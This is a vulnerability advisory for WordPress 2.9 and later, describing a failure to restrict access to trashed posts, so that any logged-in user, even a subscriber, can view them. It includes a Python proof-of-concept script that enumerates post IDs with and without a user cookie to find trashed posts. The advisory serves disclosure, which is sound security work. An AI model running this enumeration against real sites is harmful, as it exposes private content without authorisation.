WordPress Core 2.9 – Failure to Restrict URL Access
WordPress >= 2.9 Failure to Restrict URL Access http://www.thomasmackenzie.co.uk/ 1. *Advisory Information* Title: WordPress >= 2.9 Failure to Restrict URL Access Date published: 2. *Vulnerability Information* Class: Failure to Restrict URL Access Remotely Exploitable: Yes Locally Exploitable: Yes 3. *Software Description* WordPress is a state-of-the-art publishing platform with a focus on aesthetics, web standards, and usability. WordPress is both free and priceless at the same time. [0] 4. *Vulnerability Description* Frequently, the only protection for a URL is that links to that page are not presented to unauthorized users. Security by obscurity is not sufficient to protect sensitive functions and data in an application. Access control checks must be performed before a request to a sensitive function is granted, which ensures that the user is authorized to access that function. [1] 5. *Vulnerable packages* Versions >= 2.9 6. *Non-vulnerable packages* Versions < 2.9 7. *Vulnerability Overview* Since version 2.9 a new feature was implemented so that users were able to retrieve posts that they may have deleted by accident. This new feature was labeled 'trash'. Any posts that are placed within the trash are only viewable by authenticated privileged users. 8. *Technical Description* When WordPress implemented the new feature they failed to change the permissions granted when the post is in the trash. This means that an unauthenticated user cannot see the post, however an authenticated user can no matter what privilege's they have, even 'subcriber'. "Subscriber [User Level 0] - Somebody who can read comments/comment/receive news letters, etc." [2] 9. *PoC* #/usr/bin/python # # WordPress > 2.9 Failure to Restrict URL Access PoC # # This script iterates through the WP post ID's as an authenticated and unauthenticated user. # If the requests differ a 'Trash' post has been found. # # You will need an authenticated user cookie of any privilege to run this script. # # Example cookie: # wordpress_logged_in_62b3ab14f277d92d3d313662ea0c84e3=test%7C1266245173%7C990157a59700a69edbf133aa22fca1f8 # # Will only work with WP URLs with the '/?p={int}' parameter. Would need to handle redirects (3xx) to handle all URL types. # # # Research/PoC/Advisory By: Tom Mackenzie (tmacuk) and Ryan Dewhurst (ethicalhack3r) import httplib # Declare vars blogURL = "www.example.com" userCookie = "ENTER_COOKIE_HERE" postID = 0 #Leave at 0 conn = httplib.HTTPConnection(blogURL) Headers = {"Cookie" : userCookie} print print "Target = http://" + blogURL + "/?p=" + str(postID) print while 1: # Start non authenticated enumeration request = '/?p=' + str(postID) conn.request("GET", request, "") try: r1 = conn.getresponse() except: print "Connection error" data1 = r1.read() # Start authenticated enumeration conn.request("GET", request, None, Headers) try: r2 = conn.getresponse() except: print "Connection error" data2 = r2.read() # Compare the HTML body reponses if data1 != data2: print "+ Found! http://" + blogURL + request else: print request postID += 1 conn.close() 10. *Credits* Thomas Mackenzie (tmacuk) - http://www.thomasmackenzie.co.uk/ Original finder and tester. Ryan Dewhurst (ethicalhack3r) - http://www.ryandewhurst.co.uk/ PoC creation and analysis. Arron Finnon (f1nux) - http://www.finux.co.co.uk/ Helped with documentation. Matthew Hughes - http://www.matthewhughes.co.uk/ Helped with documentation. Robin Wood (digininja) - http://www.diginija.org/ Helped identify the vulnerability type. 11. *References* [0] http://wordpress.org/ [1] http://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access [2] http://codex.wordpress.org/Roles_and_Capabilities |